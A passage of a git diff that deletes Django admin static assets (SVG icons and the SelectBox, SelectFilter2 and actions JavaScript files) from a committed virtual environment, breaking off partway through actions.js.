xmlns="http://www.w3.org/2000/svg"> - <path fill="#ffffff" d="M1024 1376v-192q0-14-9-23t-23-9h-192q-14 0-23 9t-9 23v192q0 14 9 23t23 9h192q14 0 23-9t9-23zm256-672q0-88-55.5-163t-138.5-116-170-41q-243 0-371 213-15 24 8 42l132 100q7 6 19 6 16 0 25-12 53-68 86-92 34-24 86-24 48 0 85.5 26t37.5 59q0 38-20 61t-68 45q-63 28-115.5 86.5t-52.5 125.5v36q0 14 9 23t23 9h192q14 0 23-9t9-23q0-19 21.5-49.5t54.5-49.5q32-18 49-28.5t46-35 44.5-48 28-60.5 12.5-81zm384 192q0 209-103 385.5t-279.5 279.5-385.5 103-385.5-103-279.5-279.5-103-385.5 103-385.5 279.5-279.5 385.5-103 385.5 103 279.5 279.5 103 385.5z"/> -</svg> diff --git a/backend/venv/Lib/site-packages/django/contrib/admin/static/admin/img/icon-unknown.svg b/backend/venv/Lib/site-packages/django/contrib/admin/static/admin/img/icon-unknown.svg deleted file mode 100644 index 50b4f972..00000000 --- a/backend/venv/Lib/site-packages/django/contrib/admin/static/admin/img/icon-unknown.svg +++ /dev/null @@ -1,3 +0,0 @@ -<svg width="13" height="13" viewBox="0 0 1792 1792" xmlns="http://www.w3.org/2000/svg"> - <path fill="#666666" d="M1024 1376v-192q0-14-9-23t-23-9h-192q-14 0-23 9t-9 23v192q0 14 9 23t23 9h192q14 0 23-9t9-23zm256-672q0-88-55.5-163t-138.5-116-170-41q-243 0-371 213-15 24 8 42l132 100q7 6 19 6 16 0 25-12 53-68 86-92 34-24 86-24 48 0 85.5 26t37.5 59q0 38-20 61t-68 45q-63 28-115.5 86.5t-52.5 125.5v36q0 14 9 23t23 9h192q14 0 23-9t9-23q0-19 21.5-49.5t54.5-49.5q32-18 49-28.5t46-35 44.5-48 28-60.5 12.5-81zm384 192q0 209-103 385.5t-279.5 279.5-385.5 103-385.5-103-279.5-279.5-103-385.5 103-385.5 279.5-279.5 385.5-103 385.5 103 279.5 279.5 103 385.5z"/> -</svg> diff --git a/backend/venv/Lib/site-packages/django/contrib/admin/static/admin/img/icon-viewlink.svg b/backend/venv/Lib/site-packages/django/contrib/admin/static/admin/img/icon-viewlink.svg deleted file mode 100644 index a1ca1d3f..00000000 --- a/backend/venv/Lib/site-packages/django/contrib/admin/static/admin/img/icon-viewlink.svg +++ /dev/null @@ -1,3 +0,0 @@ -<svg width="13" height="13" viewBox="0 0 1792 1792" xmlns="http://www.w3.org/2000/svg"> - <path fill="#2b70bf" d="M1664 960q-152-236-381-353 61 104 61 225 0 185-131.5 316.5t-316.5 131.5-316.5-131.5-131.5-316.5q0-121 61-225-229 117-381 353 133 205 333.5 326.5t434.5 121.5 434.5-121.5 333.5-326.5zm-720-384q0-20-14-34t-34-14q-125 0-214.5 89.5t-89.5 214.5q0 20 14 34t34 14 34-14 14-34q0-86 61-147t147-61q20 0 34-14t14-34zm848 384q0 34-20 69-140 230-376.5 368.5t-499.5 138.5-499.5-139-376.5-368q-20-35-20-69t20-69q140-229 376.5-368t499.5-139 499.5 139 376.5 368q20 35 20 69z"/> -</svg> diff --git a/backend/venv/Lib/site-packages/django/contrib/admin/static/admin/img/icon-yes.svg b/backend/venv/Lib/site-packages/django/contrib/admin/static/admin/img/icon-yes.svg deleted file mode 100644 index 5883d877..00000000 --- a/backend/venv/Lib/site-packages/django/contrib/admin/static/admin/img/icon-yes.svg +++ /dev/null @@ -1,3 +0,0 @@ -<svg width="13" height="13" viewBox="0 0 1792 1792" xmlns="http://www.w3.org/2000/svg"> - <path fill="#70bf2b" d="M1412 734q0-28-18-46l-91-90q-19-19-45-19t-45 19l-408 407-226-226q-19-19-45-19t-45 19l-91 90q-18 18-18 46 0 27 18 45l362 362q19 19 45 19 27 0 46-19l543-543q18-18 18-45zm252 162q0 209-103 385.5t-279.5 279.5-385.5 103-385.5-103-279.5-279.5-103-385.5 103-385.5 279.5-279.5 385.5-103 385.5 103 279.5 279.5 103 385.5z"/> -</svg> diff --git a/backend/venv/Lib/site-packages/django/contrib/admin/static/admin/img/inline-delete.svg b/backend/venv/Lib/site-packages/django/contrib/admin/static/admin/img/inline-delete.svg deleted file mode 100644 index 87511505..00000000 --- a/backend/venv/Lib/site-packages/django/contrib/admin/static/admin/img/inline-delete.svg +++ /dev/null @@ -1,3 +0,0 @@ -<svg viewBox="0 0 1792 1792" xmlns="http://www.w3.org/2000/svg"> - <path fill="#999999" d="M1277 1122q0-26-19-45l-181-181 181-181q19-19 19-45 0-27-19-46l-90-90q-19-19-46-19-26 0-45 19l-181 181-181-181q-19-19-45-19-27 0-46 19l-90 90q-19 19-19 46 0 26 19 45l181 181-181 181q-19 19-19 45 0 27 19 46l90 90q19 19 46 19 26 0 45-19l181-181 181 181q19 19 45 19 27 0 46-19l90-90q19-19 19-46zm387-226q0 209-103 385.5t-279.5 279.5-385.5 103-385.5-103-279.5-279.5-103-385.5 103-385.5 279.5-279.5 385.5-103 385.5 103 279.5 279.5 103 385.5z"/> -</svg> diff --git a/backend/venv/Lib/site-packages/django/contrib/admin/static/admin/img/search.svg b/backend/venv/Lib/site-packages/django/contrib/admin/static/admin/img/search.svg deleted file mode 100644 index c8c69b2a..00000000 --- a/backend/venv/Lib/site-packages/django/contrib/admin/static/admin/img/search.svg +++ /dev/null @@ -1,3 +0,0 @@ -<svg width="15" height="15" viewBox="0 0 1792 1792" xmlns="http://www.w3.org/2000/svg"> - <path fill="#555555" d="M1216 832q0-185-131.5-316.5t-316.5-131.5-316.5 131.5-131.5 316.5 131.5 316.5 316.5 131.5 316.5-131.5 131.5-316.5zm512 832q0 52-38 90t-90 38q-54 0-90-38l-343-342q-179 124-399 124-143 0-273.5-55.5t-225-150-150-225-55.5-273.5 55.5-273.5 150-225 225-150 273.5-55.5 273.5 55.5 225 150 150 225 55.5 273.5q0 220-124 399l343 343q37 37 37 90z"/> -</svg> diff --git a/backend/venv/Lib/site-packages/django/contrib/admin/static/admin/img/selector-icons.svg b/backend/venv/Lib/site-packages/django/contrib/admin/static/admin/img/selector-icons.svg deleted file mode 100644 index 926b8e21..00000000 --- a/backend/venv/Lib/site-packages/django/contrib/admin/static/admin/img/selector-icons.svg +++ /dev/null @@ -1,34 +0,0 @@ -<svg width="16" height="192" viewBox="0 0 1792 21504" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink"> - <defs> - <g id="up"> - <path d="M1412 895q0-27-18-45l-362-362-91-91q-18-18-45-18t-45 18l-91 91-362 362q-18 18-18 45t18 45l91 91q18 18 45 18t45-18l189-189v502q0 26 19 45t45 19h128q26 0 45-19t19-45v-502l189 189q19 19 45 19t45-19l91-91q18-18 18-45zm252 1q0 209-103 385.5t-279.5 279.5-385.5 103-385.5-103-279.5-279.5-103-385.5 103-385.5 279.5-279.5 385.5-103 385.5 103 279.5 279.5 103 385.5z"/> - </g> - <g id="down"> - <path d="M1412 897q0-27-18-45l-91-91q-18-18-45-18t-45 18l-189 189v-502q0-26-19-45t-45-19h-128q-26 0-45 19t-19 45v502l-189-189q-19-19-45-19t-45 19l-91 91q-18 18-18 45t18 45l362 362 91 91q18 18 45 18t45-18l91-91 362-362q18-18 18-45zm252-1q0 209-103 385.5t-279.5 279.5-385.5 103-385.5-103-279.5-279.5-103-385.5 103-385.5 279.5-279.5 385.5-103 385.5 103 279.5 279.5 103 385.5z"/> - </g> - <g id="left"> - <path d="M1408 960v-128q0-26-19-45t-45-19h-502l189-189q19-19 19-45t-19-45l-91-91q-18-18-45-18t-45 18l-362 362-91 91q-18 18-18 45t18 45l91 91 362 362q18 18 45 18t45-18l91-91q18-18 18-45t-18-45l-189-189h502q26 0 45-19t19-45zm256-64q0 209-103 385.5t-279.5 279.5-385.5 103-385.5-103-279.5-279.5-103-385.5 103-385.5 279.5-279.5 385.5-103 385.5 103 279.5 279.5 103 385.5z"/> - </g> - <g id="right"> - <path d="M1413 896q0-27-18-45l-91-91-362-362q-18-18-45-18t-45 18l-91 91q-18 18-18 45t18 45l189 189h-502q-26 0-45 19t-19 45v128q0 26 19 45t45 19h502l-189 189q-19 19-19 45t19 45l91 91q18 18 45 18t45-18l362-362 91-91q18-18 18-45zm251 0q0 209-103 385.5t-279.5 279.5-385.5 103-385.5-103-279.5-279.5-103-385.5 103-385.5 279.5-279.5 385.5-103 385.5 103 279.5 279.5 103 385.5z"/> - </g> - <g id="clearall"> - <path transform="translate(336, 336) scale(0.75)" d="M1037 1395l102-102q19-19 19-45t-19-45l-307-307 307-307q19-19 19-45t-19-45l-102-102q-19-19-45-19t-45 19l-454 454q-19 19-19 45t19 45l454 454q19 19 45 19t45-19zm627-499q0 209-103 385.5t-279.5 279.5-385.5 103-385.5-103-279.5-279.5-103-385.5 103-385.5 279.5-279.5 385.5-103 385.5 103 279.5 279.5 103 385.5z"/> - </g> - <g id="chooseall"> - <path transform="translate(336, 336) scale(0.75)" d="M845 1395l454-454q19-19 19-45t-19-45l-454-454q-19-19-45-19t-45 19l-102 102q-19 19-19 45t19 45l307 307-307 307q-19 19-19 45t19 45l102 102q19 19 45 19t45-19zm819-499q0 209-103 385.5t-279.5 279.5-385.5 103-385.5-103-279.5-279.5-103-385.5 103-385.5 279.5-279.5 385.5-103 385.5 103 279.5 279.5 103 385.5z"/> - </g> - </defs> - <use xlink:href="#up" x="0" y="0" fill="#666666" /> - <use xlink:href="#up" x="0" y="1792" fill="#447e9b" /> - <use xlink:href="#down" x="0" y="3584" fill="#666666" /> - <use xlink:href="#down" x="0" y="5376" fill="#447e9b" /> - <use xlink:href="#left" x="0" y="7168" fill="#666666" /> - <use xlink:href="#left" x="0" y="8960" fill="#447e9b" /> - <use xlink:href="#right" x="0" y="10752" fill="#666666" /> - <use xlink:href="#right" x="0" y="12544" fill="#447e9b" /> - <use xlink:href="#clearall" x="0" y="14336" fill="#666666" /> - <use xlink:href="#clearall" x="0" y="16128" fill="#447e9b" /> - <use xlink:href="#chooseall" x="0" y="17920" fill="#666666" /> - <use xlink:href="#chooseall" x="0" y="19712" fill="#447e9b" /> -</svg> diff --git a/backend/venv/Lib/site-packages/django/contrib/admin/static/admin/img/sorting-icons.svg b/backend/venv/Lib/site-packages/django/contrib/admin/static/admin/img/sorting-icons.svg deleted file mode 100644 index 7c31ec91..00000000 --- a/backend/venv/Lib/site-packages/django/contrib/admin/static/admin/img/sorting-icons.svg +++ /dev/null @@ -1,19 +0,0 @@ -<svg width="14" height="84" viewBox="0 0 1792 10752" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink"> - <defs> - <g id="sort"> - <path d="M1408 1088q0 26-19 45l-448 448q-19 19-45 19t-45-19l-448-448q-19-19-19-45t19-45 45-19h896q26 0 45 19t19 45zm0-384q0 26-19 45t-45 19h-896q-26 0-45-19t-19-45 19-45l448-448q19-19 45-19t45 19l448 448q19 19 19 45z"/> - </g> - <g id="ascending"> - <path d="M1408 1216q0 26-19 45t-45 19h-896q-26 0-45-19t-19-45 19-45l448-448q19-19 45-19t45 19l448 448q19 19 19 45z"/> - </g> - <g id="descending"> - <path d="M1408 704q0 26-19 45l-448 448q-19 19-45 19t-45-19l-448-448q-19-19-19-45t19-45 45-19h896q26 0 45 19t19 45z"/> - </g> - </defs> - <use xlink:href="#sort" x="0" y="0" fill="#999999" /> - <use xlink:href="#sort" x="0" y="1792" fill="#447e9b" /> - <use xlink:href="#ascending" x="0" y="3584" fill="#999999" /> - <use xlink:href="#ascending" x="0" y="5376" fill="#447e9b" /> - <use xlink:href="#descending" x="0" y="7168" fill="#999999" /> - <use xlink:href="#descending" x="0" y="8960" fill="#447e9b" /> -</svg> diff --git a/backend/venv/Lib/site-packages/django/contrib/admin/static/admin/img/tooltag-add.svg b/backend/venv/Lib/site-packages/django/contrib/admin/static/admin/img/tooltag-add.svg deleted file mode 100644 index 1ca64ae5..00000000 --- a/backend/venv/Lib/site-packages/django/contrib/admin/static/admin/img/tooltag-add.svg +++ /dev/null @@ -1,3 +0,0 @@ -<svg width="13" height="13" viewBox="0 0 1792 1792" xmlns="http://www.w3.org/2000/svg"> - <path fill="#ffffff" d="M1600 736v192q0 40-28 68t-68 28h-416v416q0 40-28 68t-68 28h-192q-40 0-68-28t-28-68v-416h-416q-40 0-68-28t-28-68v-192q0-40 28-68t68-28h416v-416q0-40 28-68t68-28h192q40 0 68 28t28 68v416h416q40 0 68 28t28 68z"/> -</svg> diff --git a/backend/venv/Lib/site-packages/django/contrib/admin/static/admin/img/tooltag-arrowright.svg b/backend/venv/Lib/site-packages/django/contrib/admin/static/admin/img/tooltag-arrowright.svg deleted file mode 100644 index b664d619..00000000 --- a/backend/venv/Lib/site-packages/django/contrib/admin/static/admin/img/tooltag-arrowright.svg +++ /dev/null @@ -1,3 +0,0 @@ -<svg width="13" height="13" viewBox="0 0 1792 1792" xmlns="http://www.w3.org/2000/svg"> - <path fill="#ffffff" d="M1363 877l-742 742q-19 19-45 19t-45-19l-166-166q-19-19-19-45t19-45l531-531-531-531q-19-19-19-45t19-45l166-166q19-19 45-19t45 19l742 742q19 19 19 45t-19 45z"/> -</svg> diff --git a/backend/venv/Lib/site-packages/django/contrib/admin/static/admin/js/SelectBox.js b/backend/venv/Lib/site-packages/django/contrib/admin/static/admin/js/SelectBox.js deleted file mode 100644 index 3db4ec7f..00000000 --- a/backend/venv/Lib/site-packages/django/contrib/admin/static/admin/js/SelectBox.js +++ /dev/null @@ -1,116 +0,0 @@ -'use strict'; -{ - const SelectBox = { - cache: {}, - init: function(id) { - const box = document.getElementById(id); - SelectBox.cache[id] = []; - const cache = SelectBox.cache[id]; - for (const node of box.options) { - cache.push({value: node.value, text: node.text, displayed: 1}); - } - }, - redisplay: function(id) { - // Repopulate HTML select box from cache - const box = document.getElementById(id); - const scroll_value_from_top = box.scrollTop; - box.innerHTML = ''; - for (const node of SelectBox.cache[id]) { - if (node.displayed) { - const new_option = new Option(node.text, node.value, false, false); - // Shows a tooltip when hovering over the option - new_option.title = node.text; - box.appendChild(new_option); - } - } - box.scrollTop = scroll_value_from_top; - }, - filter: function(id, text) { - // Redisplay the HTML select box, displaying only the choices containing ALL - // the words in text. (It's an AND search.) - const tokens = text.toLowerCase().split(/\s+/); - for (const node of SelectBox.cache[id]) { - node.displayed = 1; - const node_text = node.text.toLowerCase(); - for (const token of tokens) { - if (!node_text.includes(token)) { - node.displayed = 0; - break; // Once the first token isn't found we're done - } - } - } - SelectBox.redisplay(id); - }, - get_hidden_node_count(id) { - const cache = SelectBox.cache[id] || []; - return cache.filter(node => node.displayed === 0).length; - }, - delete_from_cache: function(id, value) { - let delete_index = null; - const cache = SelectBox.cache[id]; - for (const [i, node] of cache.entries()) { - if (node.value === value) { - delete_index = i; - break; - } - } - cache.splice(delete_index, 1); - }, - add_to_cache: function(id, option) { - SelectBox.cache[id].push({value: option.value, text: option.text, displayed: 1}); - }, - cache_contains: function(id, value) { - // Check if an item is contained in the cache - for (const node of SelectBox.cache[id]) { - if (node.value === value) { - return true; - } - } - return false; - }, - move: function(from, to) { - const from_box = document.getElementById(from); - for (const option of from_box.options) { - const option_value = option.value; - if (option.selected && SelectBox.cache_contains(from, option_value)) { - SelectBox.add_to_cache(to, {value: option_value, text: option.text, displayed: 1}); - SelectBox.delete_from_cache(from, option_value); - } - } - SelectBox.redisplay(from); - SelectBox.redisplay(to); - }, - move_all: function(from, to) { - const from_box = document.getElementById(from); - for (const option of from_box.options) { - const option_value = option.value; - if (SelectBox.cache_contains(from, option_value)) { - SelectBox.add_to_cache(to, {value: option_value, text: option.text, displayed: 1}); - SelectBox.delete_from_cache(from, option_value); - } - } - SelectBox.redisplay(from); - SelectBox.redisplay(to); - }, - sort: function(id) { - SelectBox.cache[id].sort(function(a, b) { - a = a.text.toLowerCase(); - b = b.text.toLowerCase(); - if (a > b) { - return 1; - } - if (a < b) { - return -1; - } - return 0; - } ); - }, - select_all: function(id) { - const box = document.getElementById(id); - for (const option of box.options) { - option.selected = true; - } - } - }; - window.SelectBox = SelectBox; -} diff --git a/backend/venv/Lib/site-packages/django/contrib/admin/static/admin/js/SelectFilter2.js b/backend/venv/Lib/site-packages/django/contrib/admin/static/admin/js/SelectFilter2.js deleted file mode 100644 index 08d47fc2..00000000 --- a/backend/venv/Lib/site-packages/django/contrib/admin/static/admin/js/SelectFilter2.js +++ /dev/null @@ -1,307 +0,0 @@ -/*global SelectBox, gettext, ngettext, interpolate, quickElement, SelectFilter*/ -/* -SelectFilter2 - Turns a multiple-select box into a filter interface. - -Requires core.js and SelectBox.js. -*/ -'use strict'; -{ - window.SelectFilter = { - init: function(field_id, field_name, is_stacked) { - if (field_id.match(/__prefix__/)) { - // Don't initialize on empty forms. - return; - } - const from_box = document.getElementById(field_id); - from_box.id += '_from'; // change its ID - from_box.className = 'filtered'; - from_box.setAttribute('aria-labelledby', field_id + '_from_title'); - - for (const p of from_box.parentNode.getElementsByTagName('p')) { - if (p.classList.contains("info")) { - // Remove <p class="info">, because it just gets in the way. - from_box.parentNode.removeChild(p); - } else if (p.classList.contains("help")) { - // Move help text up to the top so it isn't below the select - // boxes or wrapped off on the side to the right of the add - // button: - from_box.parentNode.insertBefore(p, from_box.parentNode.firstChild); - } - } - - // <div class="selector"> or <div class="selector stacked"> - const selector_div = quickElement('div', from_box.parentNode); - // Make sure the selector div is at the beginning so that the - // add link would be displayed to the right of the widget. - from_box.parentNode.prepend(selector_div); - selector_div.className = is_stacked ? 'selector stacked' : 'selector'; - - // <div class="selector-available"> - const selector_available = quickElement('div', selector_div); - selector_available.className = 'selector-available'; - const selector_available_title = quickElement('div', selector_available); - selector_available_title.id = field_id + '_from_title'; - selector_available_title.className = 'selector-available-title'; - quickElement('label', selector_available_title, interpolate(gettext('Available %s') + ' ', [field_name]), 'for', field_id + '_from'); - quickElement( - 'p', - selector_available_title, - interpolate(gettext('Choose %s by selecting them and then select the "Choose" arrow button.'), [field_name]), - 'class', 'helptext' - ); - - const filter_p = quickElement('p', selector_available, '', 'id', field_id + '_filter'); - filter_p.className = 'selector-filter'; - - const search_filter_label = quickElement('label', filter_p, '', 'for', field_id + '_input'); - - quickElement( - 'span', search_filter_label, '', - 'class', 'help-tooltip search-label-icon', - 'aria-label', interpolate(gettext("Type into this box to filter down the list of available %s."), [field_name]) - ); - - filter_p.appendChild(document.createTextNode(' ')); - - const filter_input = quickElement('input', filter_p, '', 'type', 'text', 'placeholder', gettext("Filter")); - filter_input.id = field_id + '_input'; - - selector_available.appendChild(from_box); - const choose_all = quickElement( - 'button', - selector_available, - interpolate(gettext('Choose all %s'), [field_name]), - 'id', field_id + '_add_all', - 'class', 'selector-chooseall' - ); - - // <ul class="selector-chooser"> - const selector_chooser = quickElement('ul', selector_div); - selector_chooser.className = 'selector-chooser'; - const add_button = quickElement( - 'button', - quickElement('li', selector_chooser), - interpolate(gettext('Choose selected %s'), [field_name]), - 'id', field_id + '_add', - 'class', 'selector-add' - ); - const remove_button = quickElement( - 'button', - quickElement('li', selector_chooser), - interpolate(gettext('Remove selected %s'), [field_name]), - 'id', field_id + '_remove', - 'class', 'selector-remove' - ); - - // <div class="selector-chosen"> - const selector_chosen = quickElement('div', selector_div, '', 'id', field_id + '_selector_chosen'); - selector_chosen.className = 'selector-chosen'; - const selector_chosen_title = quickElement('div', selector_chosen); - selector_chosen_title.className = 'selector-chosen-title'; - selector_chosen_title.id = field_id + '_to_title'; - quickElement('label', selector_chosen_title, interpolate(gettext('Chosen %s') + ' ', [field_name]), 'for', field_id + '_to'); - quickElement( - 'p', - selector_chosen_title, - interpolate(gettext('Remove %s by selecting them and then select the "Remove" arrow button.'), [field_name]), - 'class', 'helptext' - ); - - const filter_selected_p = quickElement('p', selector_chosen, '', 'id', field_id + '_filter_selected'); - filter_selected_p.className = 'selector-filter'; - - const search_filter_selected_label = quickElement('label', filter_selected_p, '', 'for', field_id + '_selected_input'); - - quickElement( - 'span', search_filter_selected_label, '', - 'class', 'help-tooltip search-label-icon', - 'aria-label', interpolate(gettext("Type into this box to filter down the list of selected %s."), [field_name]) - ); - - filter_selected_p.appendChild(document.createTextNode(' ')); - - const filter_selected_input = quickElement('input', filter_selected_p, '', 'type', 'text', 'placeholder', gettext("Filter")); - filter_selected_input.id = field_id + '_selected_input'; - - quickElement( - 'select', - selector_chosen, - '', - 'id', field_id + '_to', - 'multiple', '', - 'size', from_box.size, - 'name', from_box.name, - 'aria-labelledby', field_id + '_to_title', - 'class', 'filtered' - ); - const warning_footer = quickElement('div', selector_chosen, '', 'class', 'list-footer-display'); - quickElement('span', warning_footer, '', 'id', field_id + '_list-footer-display-text'); - quickElement('span', warning_footer, ' ' + gettext('(click to clear)'), 'class', 'list-footer-display__clear'); - const clear_all = quickElement( - 'button', - selector_chosen, - interpolate(gettext('Remove all %s'), [field_name]), - 'id', field_id + '_remove_all', - 'class', 'selector-clearall' - ); - - from_box.name = from_box.name + '_old'; - - // Set up the JavaScript event handlers for the select box filter interface - const move_selection = function(e, elem, move_func, from, to) { - if (!elem.hasAttribute('disabled')) { - move_func(from, to); - SelectFilter.refresh_icons(field_id); - SelectFilter.refresh_filtered_selects(field_id); - SelectFilter.refresh_filtered_warning(field_id); - } - e.preventDefault(); - }; - choose_all.addEventListener('click', function(e) { - move_selection(e, this, SelectBox.move_all, field_id + '_from', field_id + '_to'); - }); - add_button.addEventListener('click', function(e) { - move_selection(e, this, SelectBox.move, field_id + '_from', field_id + '_to'); - }); - remove_button.addEventListener('click', function(e) { - move_selection(e, this, SelectBox.move, field_id + '_to', field_id + '_from'); - }); - clear_all.addEventListener('click', function(e) { - move_selection(e, this, SelectBox.move_all, field_id + '_to', field_id + '_from'); - }); - warning_footer.addEventListener('click', function(e) { - filter_selected_input.value = ''; - SelectBox.filter(field_id + '_to', ''); - SelectFilter.refresh_filtered_warning(field_id); - SelectFilter.refresh_icons(field_id); - }); - filter_input.addEventListener('keypress', function(e) { - SelectFilter.filter_key_press(e, field_id, '_from', '_to'); - }); - filter_input.addEventListener('keyup', function(e) { - SelectFilter.filter_key_up(e, field_id, '_from'); - }); - filter_input.addEventListener('keydown', function(e) { - SelectFilter.filter_key_down(e, field_id, '_from', '_to'); - }); - filter_selected_input.addEventListener('keypress', function(e) { - SelectFilter.filter_key_press(e, field_id, '_to', '_from'); - }); - filter_selected_input.addEventListener('keyup', function(e) { - SelectFilter.filter_key_up(e, field_id, '_to', '_selected_input'); - }); - filter_selected_input.addEventListener('keydown', function(e) { - SelectFilter.filter_key_down(e, field_id, '_to', '_from'); - }); - selector_div.addEventListener('change', function(e) { - if (e.target.tagName === 'SELECT') { - SelectFilter.refresh_icons(field_id); - } - }); - selector_div.addEventListener('dblclick', function(e) { - if (e.target.tagName === 'OPTION') { - if (e.target.closest('select').id === field_id + '_to') { - SelectBox.move(field_id + '_to', field_id + '_from'); - } else { - SelectBox.move(field_id + '_from', field_id + '_to'); - } - SelectFilter.refresh_icons(field_id); - } - }); - from_box.closest('form').addEventListener('submit', function() { - SelectBox.filter(field_id + '_to', ''); - SelectBox.select_all(field_id + '_to'); - }); - SelectBox.init(field_id + '_from'); - SelectBox.init(field_id + '_to'); - // Move selected from_box options to to_box - SelectBox.move(field_id + '_from', field_id + '_to'); - - // Initial icon refresh - SelectFilter.refresh_icons(field_id); - }, - any_selected: function(field) { - // Temporarily add the required attribute and check validity. - field.required = true; - const any_selected = field.checkValidity(); - field.required = false; - return any_selected; - }, - refresh_filtered_warning: function(field_id) { - const count = SelectBox.get_hidden_node_count(field_id + '_to'); - const selector = document.getElementById(field_id + '_selector_chosen'); - const warning = document.getElementById(field_id + '_list-footer-display-text'); - selector.className = selector.className.replace('selector-chosen--with-filtered', ''); - warning.textContent = interpolate(ngettext( - '%s selected option not visible', - '%s selected options not visible', - count - ), [count]); - if(count > 0) { - selector.className += ' selector-chosen--with-filtered'; - } - }, - refresh_filtered_selects: function(field_id) { - SelectBox.filter(field_id + '_from', document.getElementById(field_id + "_input").value); - SelectBox.filter(field_id + '_to', document.getElementById(field_id + "_selected_input").value); - }, - refresh_icons: function(field_id) { - const from = document.getElementById(field_id + '_from'); - const to = document.getElementById(field_id + '_to'); - // Disabled if no items are selected. - document.getElementById(field_id + '_add').disabled = !SelectFilter.any_selected(from); - document.getElementById(field_id + '_remove').disabled = !SelectFilter.any_selected(to); - // Disabled if the corresponding box is empty. - document.getElementById(field_id + '_add_all').disabled = !from.querySelector('option'); - document.getElementById(field_id + '_remove_all').disabled = !to.querySelector('option'); - }, - filter_key_press: function(event, field_id, source, target) { - const source_box = document.getElementById(field_id + source); - // don't submit form if user pressed Enter - if ((event.which && event.which === 13) || (event.keyCode && event.keyCode === 13)) { - source_box.selectedIndex = 0; - SelectBox.move(field_id + source, field_id + target); - source_box.selectedIndex = 0; - event.preventDefault(); - } - }, - filter_key_up: function(event, field_id, source, filter_input) { - const input = filter_input || '_input'; - const source_box = document.getElementById(field_id + source); - const temp = source_box.selectedIndex; - SelectBox.filter(field_id + source, document.getElementById(field_id + input).value); - source_box.selectedIndex = temp; - SelectFilter.refresh_filtered_warning(field_id); - SelectFilter.refresh_icons(field_id); - }, - filter_key_down: function(event, field_id, source, target) { - const source_box = document.getElementById(field_id + source); - // right key (39) or left key (37) - const direction = source === '_from' ? 39 : 37; - // right arrow -- move across - if ((event.which && event.which === direction) || (event.keyCode && event.keyCode === direction)) { - const old_index = source_box.selectedIndex; - SelectBox.move(field_id + source, field_id + target); - SelectFilter.refresh_filtered_selects(field_id); - SelectFilter.refresh_filtered_warning(field_id); - source_box.selectedIndex = (old_index === source_box.length) ? source_box.length - 1 : old_index; - return; - } - // down arrow -- wrap around - if ((event.which && event.which === 40) || (event.keyCode && event.keyCode === 40)) { - source_box.selectedIndex = (source_box.length === source_box.selectedIndex + 1) ? 0 : source_box.selectedIndex + 1; - } - // up arrow -- wrap around - if ((event.which && event.which === 38) || (event.keyCode && event.keyCode === 38)) { - source_box.selectedIndex = (source_box.selectedIndex === 0) ? source_box.length - 1 : source_box.selectedIndex - 1; - } - } - }; - - window.addEventListener('load', function(e) { - document.querySelectorAll('select.selectfilter, select.selectfilterstacked').forEach(function(el) { - const data = el.dataset; - SelectFilter.init(el.id, data.fieldName, parseInt(data.isStacked, 10)); - }); - }); -} diff --git a/backend/venv/Lib/site-packages/django/contrib/admin/static/admin/js/actions.js b/backend/venv/Lib/site-packages/django/contrib/admin/static/admin/js/actions.js deleted file mode 100644 index 04b25e96..00000000 --- a/backend/venv/Lib/site-packages/django/contrib/admin/static/admin/js/actions.js +++ /dev/null @@ -1,204 +0,0 @@ -/*global gettext, interpolate, ngettext, Actions*/ -'use strict'; -{ - function show(selector) { - document.querySelectorAll(selector).forEach(function(el) { - el.classList.remove('hidden'); - }); - } - - function hide(selector) { - document.querySelectorAll(selector).forEach(function(el) { - el.classList.add('hidden'); - }); - } - - function showQuestion(options) { - hide(options.acrossClears); - show(options.acrossQuestions); - hide(options.allContainer); - } - - function showClear(options) { - show(options.acrossClears); - hide(options.acrossQuestions); - document.querySelector(options.actionContainer).classList.remove(options.selectedClass); - show(options.allContainer); - hide(options.counterContainer); - } - - function reset(options) { - hide(options.acrossClears); - hide(options.acrossQuestions); - hide(options.allContainer); - show(options.counterContainer); - } - - function clearAcross(options) { - reset(options); - const acrossInputs = document.querySelectorAll(options.acrossInput); - acrossInputs.forEach(function(acrossInput) { - acrossInput.value = 0; - }); - document.querySelector(options.actionContainer).classList.remove(options.selectedClass); - } - - function checker(actionCheckboxes, options, checked) { - if (checked) { - showQuestion(options); - } else { - reset(options); - } - actionCheckboxes.forEach(function(el) { - el.checked = checked; - el.closest('tr').classList.toggle(options.selectedClass, checked); - }); - } - - function updateCounter(actionCheckboxes, options) { - const sel = Array.from(actionCheckboxes).filter(function(el) { - return el.checked; - }).length; - const counter = document.querySelector(options.counterContainer); - // data-actions-icnt is defined in the generated HTML - // and contains the total amount of objects in the queryset - const actions_icnt = Number(counter.dataset.actionsIcnt); - counter.textContent = interpolate( - ngettext('%(sel)s of %(cnt)s selected', '%(sel)s of %(cnt)s selected', sel), { - sel: sel, - cnt: actions_icnt - }, true); - const allToggle = document.getElementById(options.allToggleId); - allToggle.checked = sel === actionCheckboxes.length; - if (allToggle.checked) { - showQuestion(options); - } else { - clearAcross(options); - } - } - - const defaults = { - actionContainer: "div.actions", - counterContainer: "span.action-counter", - allContainer: "div.actions span.all", - acrossInput: "div.actions input.select-across", - acrossQuestions: "div.actions span.question", - acrossClears: "div.actions span.clear", - allToggleId: "action-toggle", - selectedClass: "selected" - }; - - window.Actions = function(actionCheckboxes, options) { - options = Object.assign({}, defaults, options); - let list_editable_changed = false; - let lastChecked = null; - let shiftPressed = false; - - document.addEventListener('keydown', (event) => { - shiftPressed = event.shiftKey; - }); - - document.addEventListener('keyup', (event) => { - shiftPressed = event.shiftKey; - }); - - document.getElementById(options.allToggleId).addEventListener('click', function(event) { - checker(actionCheckboxes, options, this.checked); - updateCounter(actionCheckboxes, options); - }); - - document.querySelectorAll(options.acrossQuestions + " a").forEach(function(el) { - el.addEventListener('click', function(event) { - event.preventDefault(); - const acrossInputs = document.querySelectorAll(options.acrossInput); - acrossInputs.forEach(function(acrossInput) { - acrossInput.value = 1; - }); - showClear(options); - }); - }); - - document.querySelectorAll(options.acrossClears + " a").forEach(function(el) { - el.addEventListener('click', function(event) { - event.preventDefault(); - document.getElementById(options.allToggleId).checked = false; - clearAcross(options); - checker(actionCheckboxes, options, false); - updateCounter(actionCheckboxes, options); - }); - }); - - function affectedCheckboxes(target, withModifier) { - const multiSelect = (lastChecked && withModifier && lastChecked !== target); - if (!multiSelect) { - return [target]; - } - const checkboxes = Array.from(actionCheckboxes); - const targetIndex = 